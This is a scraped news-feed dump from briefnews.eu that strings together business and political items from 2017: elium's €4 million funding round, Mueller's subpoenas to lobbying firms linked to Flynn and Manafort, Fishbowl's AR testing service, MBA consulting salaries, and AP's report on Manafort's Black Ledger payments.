PRESS RELEASE:

PARIS & BRUSSELS–(BUSINESS WIRE)–August 31, 2017–

elium, the collaborative platform for knowledge-based organisations, announces the closing of a Series A funding round for €4 million. This fundraising effort is being led by Serena Capital in collaboration with S.R.I.W, a historical investor who has renewed its trust in elium (formerly known as Knowledge Plaza).

elium aims to become a leader in the new “Knowledge Sharing Platforms” market, a new category of Enterprise Social Networks that complement teams-centred productivity platforms such as Slack and Facebook Workplace. The market size was around 4.5 billion $ in 2016 according to IDC (considered a conservative view) and estimated to double within 5 years. Artificial intelligence coming into the enterprise will be able to take full advantage of this inherently shareable and critical knowledge.

From 2012 onwards, elium relied on a 100% Saas offer by subscription. It gradually conquered a few large French actors who took advantage of its resolutely cross-platform architecture, allowing advanced re-use of existing knowledge as well as very dynamic capture of new knowledge. This strength of the application naturally attracts not only companies whose competitiveness rests on sound knowledge management, but also organizations facing major processes transformation. With elium, these companies see the impact of information flows increase tenfold.

Today, elium holds a stable market position thanks to international projects such as the ones carried out with Capgemini Consulting, Lafarge Holcim, MSL Group, the International Committee of the Red Cross, BNP Paribas, Oréal. European companies such as Touring Club Switzerland, Bouygues, InExtenso, EDF, Derbigum, SNCF have also been acquired and retained. These customers have enabled elium to clearly stand out from the competition by demonstrating that its solution can also grow in power on large corporate networks by avoiding the frictions encountered by traditional document management systems, paralyzed by governance constraints affecting individual files.

This round of financing will provide elium with the opportunity to grow from 20 to 40 employees by the end of 2018, to increase the platform connectors, to have a UX/AI/data applied research structure, and to accelerate the platform deployment in Europe on three strategic vertical markets: service companies, transforming industries (electricity, transport, engineering) as well as administrations and NGOs. Indeed, they are all facing an acceleration of change covering economy and innovation at both global and local levels. elium gives them the capacity to facilitate critical information sharing (from internal and external sources) and to increase their overall performance through re-use of good business practices. In other words, reduce physical and digital silos for an accelerated change.

For the past couple of years the Lecko consulting firm has analysed about thirty collaborative tools to put together the most complete benchmark in France. It positions elium in pole position on its “social knowledge” quadrant which brings critical legitimacy to elium. The platform’s new version is scheduled for autumn this year and will offer both simplicity for users and full functional coverage. It should comfort its customers along with Lecko that elium is keeping the right balance between the circulating information dynamism and stability.

elium is preparing for GDPR and ISO 27000 certification. It is also getting ready to migrate to the excellent ENGIE datacentre based in Belgium. The entire user interface has been completely revised to be based on React, opening the door to excellent use in native mode. The API is now based on GraphQL which facilitates complete and sustainable integration. All these changes will accelerate innovation, as well as with the major market integrators and will bring a complete experience for users now connected in real-time.

elium has found in Serena a strong partner for a lasting relationship. The operational support offered by the investment fund is already bearing fruit on commercial and marketing structuring. For Antoine Perdaens, CEO of elium: “Serena is a calm and responsive force. They have helped us to place even greater emphasis on our core markets, leverage our internal talents and give us key advice to increase our revenues.”

For Marc Fournier, Serena Capital partner: “We were seduced not only by their offer success but also by the team composition, it was a decisive factor in our investment choice. We are convinced that elium has its place among the world’s key actors, the relevance of their architecture proving critical and inevitable in the face of the current digital transformation. ”

For the S.R.I.W.: “We have developed a true relationship of trust with the team. We are delighted to take part in this financing round, which will certainly contribute to the regional economic development, but especially to the start-up’s international reach. ”

About elium

Founded by Antoine Perdaens, CEO, and three other co-founders in 2008, elium (formerly known as Knowledge Plaza) has succeeded in creating its own collaborative platform market centred on knowledge sharing, gaining large internal corporate networks deployment projects (intranets) against competitors such as Microsoft SharePoint, IBM Connections, and Jive Software.

In 2013, elium acquired the Swiss competitor HyperWeek, positioned on corporate social networks and led by Raphaël Briner, now elium CMO and co-founder. The platform is used by global and distributed companies (BNP Paribas, Capgemini Consulting, CICR, EDF, MSLGroup, SNCF) as well as small and medium-sized service companies (Finaxim, JointheDots, Euranova, Siltea, etc.)

About Serena Capital

Created in 2008 by Marc Fournier, Philippe Hayat and Xavier Lorphelin, Serena Capital is a recognized investment structure in France and Europe with more than 250 million euros under management. Highly active in the innovation and digital market (Internet & Media, Mobile & Telecom, Software, Big Data, Electronics), the company invests up to 15 million euros in innovative and rapidly growing companies (AramisAuto, Augure, Lafourchette, Melty Group, Prestashop, SanteVet, Worldstores, etc.).

About S.R.I.W

S.R.I.W. Group (Société Régionale d’Investissement de Wallonie) contributes to the Belgian economy development by helping to finance Walloon companies development (Odoo, Bone Therapeutics, Acapela, Clue points, Proxistore). It takes part in their growth, alongside private investors, via loans as well as equity investments.

elium
Press
Alexandra André, + 33 6 13 45 5 135
Head of Communication Serena Capital
aandre@serencapital.com

VentureBeat

]]> https://briefnews.eu/elium-raises-4me-from-serena-capital-and-s-r-i-w-to-digitize-knowledge-sharing-among-employees-in-the-consulting-firms-and-industries-of-tomorrow/feed/ 0 Mueller’s team reportedly issues subpoenas to lobbying firms that worked with Flynn’s and Manafort’s consulting groups https://briefnews.eu/muellers-team-reportedly-issues-subpoenas-to-lobbying-firms-that-worked-with-flynns-and-manaforts-consulting-groups/ https://briefnews.eu/muellers-team-reportedly-issues-subpoenas-to-lobbying-firms-that-worked-with-flynns-and-manaforts-consulting-groups/#respond Sun, 27 Aug 2017 01:27:00 +0000 http://briefnews.eu/muellers-team-reportedly-issues-subpoenas-to-lobbying-firms-that-worked-with-flynns-and-manaforts-consulting-groups/ Robert MuellerAP Photo/Andrew Harnik

Special counsel Robert Mueller’s team has subpoenaed a number of Washington lobbying firms as part of its investigation into whether President Donald Trump’s campaign colluded with Moscow to tilt the 2016 election in his favor, The Washington Post reported on Friday. 

The firms that were subpoenaed have been associated with consulting firms led by former national security adviser Michael Flynn and former Trump campaign manager Paul Manafort. Both Flynn and Manafort are being scrutinized as part of the Russia investigation. 

Manafort left the Trump campaign last August, and Flynn was forced to resign as national security adviser in February, when it emerged that he had misled Vice President Mike Pence about his contacts with Sergey Kislyak, the former Russian ambassador to the US.

The subpoenas come as both Flynn and Manafort face questions about allegedly failing to disclose the lobbying work they did on behalf of foreign governments, in violation of US federal law. 

The Post reported that two of the subpoenas were issued to SGR LLC and Mercury Public Affairs, citing sources familiar with the matter. A lawyer representing SGR LLC confirmed to The Post that the firm had received a subpoena, and people close to Mercury Public Affairs said they had also received requests, though the company declined to comment. 

Ukraine lobbying work

Mueller’s team reportedly asked Mercury about public relations work it had conducted for the European Centre for a Modern Ukraine at Manafort’s request. The organization’s stated goal is to foster closer ties between Ukraine and the European Union, as well as the United States. It was founded, however, by Leonid Kozhara, a senior member of parliament for Ukraine’s pro-Russia Party of Regions. 

Manafort is linked to the party through his time serving as a top adviser to Ukrainian President Viktor Yanukovych, a pro-Russian strongman whom Manafort is widely credited with helping win the presidency in 2010. 

Yanukovych was ousted in 2014 after widespread demonstrations again this decision to back out of a deal with the EU that would have distanced Ukraine from Russia and strengthened ties with the West. Yanukovych fled to Russia amid the protests, during which Ukrainian riot police opened fire on thousands of demonstrators, and is now living under the protection of the Kremlin.

Paul ManafortAP Photo/Carolyn Kaster, File

Ukrainian prosecutors have said Yanukovych ordered the security forces’ attack on protesters, and at least one human-rights lawyer representing the victims is investigating what role, if any, Manafort played in encouraging Yanukovych’s crackdown. 

Mercury worked with Podesta group — the lobbying firm led by John Podesta’s brother, Anthony Podesta — on the Ukraine lobbying project, and the firms did not register as foreign agents at the time, saying they were working for a nonprofit and not a foreign government or political party, The Post reported. Both firms recently registered retroactively, however, acknowledging that the Party of Regions benefited from their work. 

Manafort has drawn increased scrutiny from the FBI in recent months. The Washington Post reported that the bureau conducted a predawn raid on his home in July, and agents working with Mueller left Manafort’s home “with various records.”

Manafort has been cooperating with investigators’ requests for relevant documents. But the search warrant obtained by the FBI in July indicates that Mueller managed to convince a federal judge that Manafort would try to conceal or destroy documents subpoenaed by a grand jury.

Turkey lobbying work

Mueller’s team subpoenaed SGR after Flynn’s lobbying firm, Flynn Intel Group, hired the group to ostensibly “promote a good business climate in Turkey,” The Post reported. Flynn’s firm hired SGR as part of its work with a Dutch company with links to Turkish President Recep Tayyip Erdogan. 

Although Flynn’s group’s initial stated goal in hiring SGR was to foster a stronger business climate in Turkey, it was later forced to indicate that it brought SGR on to “raise concerns” to the US about Fethullah Gulen, a Turkish cleric currently living in exile in Pennsylvania whom Erdogan has blamed for mounting a failed coup against his government and fomenting dissent within Turkey. 

Michael FlynnAP Photo/Carolyn Kaster

Flynn’s lobbying group has undertaken other efforts to discredit Gulen and bolster Erdogan as well. The firm reportedly did not want anyone to know that it was working on a documentary commissioned by a Turkish businessman to help Turkey’s image in the wake of last July’s failed coup. 

The businessman, Ekim Alptekin, paid the Flynn Intel Group over $ 500,000 to produce a documentary about the dangers of Gulen, he told The Wall Street Journal in May. “We thought that might have a good effect,” he added. The film was never finished. 

Flynn additionally raised eyebrows when he wrote an op-ed for The Hill, published on November 8, alleging Gulen helmed a “vast global network” that had “all the right markings to fit the description of a dangerous sleeper terror network.”

In addition to being scrutinized as part of Mueller’s probe into whether the Trump campaign colluded with Russia in 2016, Flynn is also under a separate FBI investigation for privately working as a paid lobbyist for Turkey during the 2016 campaign. Flynn informed the Trump transition team of the investigation in early January, weeks before Trump was inaugurated.

He did not resign until mid-February, after it was reported that he had discussed US sanctions against Russia with Kislyak during the transition period and misled Pence about the conversations. 

Flynn has asked for immunity from prosecution from the bureau and the House and Senate intelligence committees in exchange for his testimony. It is unclear whether the FBI has granted Flynn immunity, but the intelligence committees have ruled it out.

Natasha Bertrand contributed reporting.

NOW WATCH: Steve Bannon is out — here are all the casualties of the Trump administration so far

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]]> https://briefnews.eu/muellers-team-reportedly-issues-subpoenas-to-lobbying-firms-that-worked-with-flynns-and-manaforts-consulting-groups/feed/ 0 Fishbowl adds AR to its VR consulting and testing portfolio https://briefnews.eu/fishbowl-adds-ar-to-its-vr-consulting-and-testing-portfolio/ https://briefnews.eu/fishbowl-adds-ar-to-its-vr-consulting-and-testing-portfolio/#respond Mon, 14 Aug 2017 04:05:41 +0000 http://briefnews.eu/fishbowl-adds-ar-to-its-vr-consulting-and-testing-portfolio/

Virtual reality consultancy and testing firm Fishbowl has told UploadVR they have expanded their services to include augmented reality testing. The company produced their first AR usability test with Inkhunter, an application that allows users to see how a tattoo might look on their body before actually putting ink to skin. Describing the reason behind the expansion, CEO Geoff Skow highlighted the difficulties inherent in AR development, “There’s a huge gap between getting an AR app to work in staged environments and having it work for regular users in a real-life setting. Because everyone’s environment is necessarily unique (lighting conditions, surfaces, phone processors, a million other things) it’s absolutely critical for developers to test in as many different settings as possible.”

Skow said Apple’s new augmented reality SDK, ARKit, has triggered a stampede of developers clamoring to make their mark. With a standard SDK to work from, AR developers can now focus on big ideas instead of getting bogged down in minutia like camera calibration. Any would-be app maker can now tackle augmented reality with minimal overhead.

Despite the current boom, Skow says other testing firms are lacking in solutions designed for augmented reality creators. “Unfortunately for developers, the giant incumbents in the crowdsourced mobile user testing space have built solutions for a tap-first world. They can show you where people are tapping when using your app, and even have them think aloud so you better understand their mindset. … But that doesn’t cut it for immersive AR applications, because you’re missing the view of the environment the user actions are taking place in. You’re missing the context. ”

Skow says filming testers can help reach a more complete understanding of the user experience. “We’ve built up a remote testing panel of more than 1,0000 VR/AR enthusiasts across more than 600 cities around the globe. These testers have recorded more than 5,000 hours of split-screen playtests, which developers use to see both what the user is looking at and what they’re doing in real life. This helps them understand where and when users are encountering usability or performance issues.”

ARKit is barely over a month old, and no ARKit applications will hit the app store until IOS11 drops later this year, but Fishbowl is betting big on an augmented reality gold-rush when iPhone owners finally get their hands on ARKit developed apps.

The PC Gaming channel is presented by Intel®‘s Game Dev program.



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]]> https://briefnews.eu/fishbowl-adds-ar-to-its-vr-consulting-and-testing-portfolio/feed/ 0 18 of the highest-paying consulting firms for MBAs https://briefnews.eu/18-of-the-highest-paying-consulting-firms-for-mbas/ https://briefnews.eu/18-of-the-highest-paying-consulting-firms-for-mbas/#respond Thu, 18 May 2017 01:18:03 +0000 http://briefnews.eu/18-of-the-highest-paying-consulting-firms-for-mbas/ ernst and young officeGlassdoor

Even straight out of school, earning an MBA means a healthy salary bump for graduates, especially in lucrative industries like consulting.

And with increasing demand for management consultants, elite firms are doling out hefty compensation packages to stay competitive and attract top talent. In fact, at many places, the base pay for MBAs starts at $ 140,000 — more than $ 60,000 higher than the starting salaries that many candidates earn right out of college. On top of that, salaries for these positions are on the rise, up as much as 5% in the past year. 

Management Consulted, a company that helps candidates land consulting jobs, compiled the top salaries earned by graduates in their first year out of business school at 18 leading consulting firms. To determine these figures, it culled through data from clients, spoke with industry insiders, and pored over real offer letters from readers.

It’s important to note that these represent maximum salary packages, not average compensation. Typically, only the top employees receive the full amount, with most employees earning significantly less.

Read on to see the consulting firms in which MBAs are raking in the big bucks, ranked by total compensation:

18. Mercer

Mercer Insights/Facebook

Total compensation: up to $ 137,000

Signing bonus: $ 20,000

Base: $ 95,000

Relocation: up to $ 3,000

Performance bonus: up to $ 19,000

17. Kalypso

Kalypso/Facebook

Total compensation: up to $ 157,000

Signing bonus: $ 15,000

Base: $ 124,000

Relocation: up to $ 3,000

Performance bonus: up to $ 15,000

16. Cognizant Business Consulting

Cognizant/Facebook

Total compensation: up to $ 163,000

Signing bonus: $ 20,000

Base: $ 120,000

Relocation: up to $ 8,000

Performance bonus: up to $ 15,000


See the rest of the story at Business Insider

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]]> https://briefnews.eu/18-of-the-highest-paying-consulting-firms-for-mbas/feed/ 0 Records reveal $1.2 million in secret payments from a pro-Russian political party to Paul Manafort’s consulting firm https://briefnews.eu/records-reveal-1-2-million-in-secret-payments-from-a-pro-russian-political-party-to-paul-manaforts-consulting-firm/ https://briefnews.eu/records-reveal-1-2-million-in-secret-payments-from-a-pro-russian-political-party-to-paul-manaforts-consulting-firm/#respond Wed, 12 Apr 2017 11:49:43 +0000 http://briefnews.eu/records-reveal-1-2-million-in-secret-payments-from-a-pro-russian-political-party-to-paul-manaforts-consulting-firm/ Paul ManafortAP Photo/Matt Rourke

WASHINGTON (AP) — Last August, a handwritten ledger surfaced in Ukraine with dollar amounts and dates next to the name of Paul Manafort, who was then Donald Trump’s campaign chairman.

Ukrainian investigators called it evidence of off-the-books payments from a pro-Russian political party — and part of a larger pattern of corruption under the country’s former president. Manafort, who worked for the party as an international political consultant, has publicly questioned the ledger’s authenticity.

Now, financial records newly obtained by The Associated Press confirm that at least $ 1.2 million in payments listed in the ledger next to Manafort’s name were actually received by his consulting firm in the United States. They include payments in 2007 and 2009, providing the first evidence that Manafort’s firm received at least some money listed in the so-called Black Ledger.

The two payments came years before Manafort became involved in Trump’s campaign, but for the first time bolster the credibility of the ledger. They also put the ledger in a new light, as federal prosecutors in the U.S. have been investigating Manafort’s work in Eastern Europe as part of a larger anti-corruption probe.

Separately, Manafort is also under scrutiny as part of congressional and FBI investigations into possible contacts between Trump associates and Russia’s government under President Vladimir Putin during the 2016 U.S. presidential campaign. The payments detailed in the ledger and confirmed by the documents obtained by the AP are unrelated to the 2016 presidential campaign and came years before Manafort worked as Trump’s unpaid campaign chairman.

In a statement to the AP, Manafort did not deny that his firm received the money but said “any wire transactions received by my company are legitimate payments for political consulting work that was provided. I invoiced my clients and they paid via wire transfer, which I received through a U.S. bank.”

Manafort noted that he agreed to be paid according to his “clients’ preferred financial institutions and instructions.”

Previously, Manafort and his spokesman, Jason Maloni, have maintained the ledger was fabricated and said no public evidence existed that Manafort or others received payments recorded in it.

The AP, however, identified in the records two payments received by Manafort that aligned with the ledger: one for $ 750,000 that a Ukrainian lawmaker said last month was part of a money-laundering effort that should be investigated by U.S. authorities. The other was $ 455,249 and also matched a ledger entry.

The newly obtained records also expand the global scope of Manafort’s financial activities related to his Ukrainian political consulting, because both payments came from companies once registered in the Central American country of Belize. Last month, the AP reported that the U.S. government has examined Manafort’s financial transactions in the Mediterranean country of Cyprus as part of its probe.

Federal prosecutors have been looking into Manafort’s work for years as part of an effort to recover Ukrainian assets stolen after the 2014 ouster of Ukrainian President Viktor Yanukovych, who fled to Russia. No charges have been filed as part of the investigation.

Manafort, a longtime Republican political operative, led the presidential campaign from March until August last year when Trump asked him to resign. The resignation came after a tumultuous week in which The New York Times revealed that Manafort’s name appeared in the Ukraine ledger — although the newspaper said at the time that officials were unsure whether Manafort actually received the money — and after the AP separately reported that he had orchestrated a covert Washington lobbying operation until 2014 on behalf of Ukraine’s pro-Russian Party of Regions.

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Officials with the Ukrainian National Anti-Corruption Bureau, which is investigating corruption under Yanukovych, have said they believe the ledger is genuine. But they have previously noted that they have no way of knowing whether Manafort received the money listed next to his name. The bureau said it is not investigating Manafort because he is not a Ukrainian citizen.

Still, Manafort’s work continues to draw attention in Ukrainian politics.

Last month, Ukrainian lawmaker Serhiy Leshchenko revealed an invoice bearing the letterhead of Manafort’s namesake company, Davis Manafort, that Leshchenko said was crafted to conceal a payment to Manafort as a purchase of 501 computers.

The AP provided to Manafort the amounts of the payments, dates and number of the bank account where they were received. Manafort told the AP that he was unable to review his own banking records showing receipt of the payments because his bank destroyed the records after a standard 7-year retention period. He said Tuesday the “computer sales contract is a fraud.”

“The signature is not mine, and I didn’t sell computers,” he said in a statement. “What is clear, however, is individuals with political motivations are taking disparate pieces of information and distorting their significance through a campaign of smear and innuendo.”

Leshchenko said last month the 2009 invoice was one of about 50 pages of documents, including private paperwork and copies of employee-issued debit cards, that were found in Manafort’s former Kiev office by a new tenant.

The amount of the invoice — $ 750,000— and the payment date of Oct. 14, 2009, matches one entry on the ledger indicating payments to Manafort from the Party of Regions. The invoice was addressed to Neocom Systems Ltd., a company formerly registered in Belize, and included the account and routing numbers and postal address for Manafort’s account at a branch of Wachovia National Bank in Alexandria, Virginia.

The AP had previously been unable to independently verify the $ 750,000 payment went to a Manafort company, but the newly obtained financial records reflect Manafort’s receipt of that payment. The records show that Davis Manafort received the amount from Neocom Systems the day after the date of the invoice.

Leshchenko contended to AP that Yanukovych, as Ukraine’s leader, paid Manafort money that came from his government’s budget and was “stolen from Ukrainian citizens.” He said: “Money received by Manafort has to be returned to the Ukrainian people.”

Leshchenko said U.S. authorities should investigate what he described as corrupt deals between Manafort and Yanukovych. “It’s about a U.S. citizen and money was transferred to a U.S. bank account,” he said.

A $ 455,249 payment in November 2007 also matches the amount in the ledger. It came from Graten Alliance Ltd., a company that had also been registered in Belize. It is now inactive.

The AP reported last month that federal prosecutors are looking into Manafort’s financial transactions in Cyprus, an island nation once known as a favored locale for money laundering.

Among those transactions was a $ 1 million payment in October 2009 routed through the Bank of Cyprus. The money was deposited into an account controlled by a Manafort-linked company, then left the account on the same day, broken into two disbursements of $ 500,000, according to documents obtained by the AP.

The records of Manafort’s Cypriot transactions were requested by the U.S. Treasury Department Financial Crimes Enforcement Network, which works internationally with agencies to track money laundering and the movement of illicit funds around the globe.

Dozens of Ukrainian political figures mentioned in the Black Ledger are under investigation in Ukraine. The anti-corruption bureau, which has been looking into the Black Ledger, publicly confirmed the authenticity of the signature of one top official mentioned there. In December, the bureau accused Mykhaylo Okhendovsky of receiving more than $ 160,000 from Party of Regions officials in 2012, when he was Ukraine’s main election official.

The bureau said it would identify more suspects in the coming months.

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Associated Press writers Nataliya Vasilyeva contributed reporting from Kiev and Moscow, and Lynn Berry from Washington.

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Reach the AP’s Washington investigative team at https://www.ap.org/tips.

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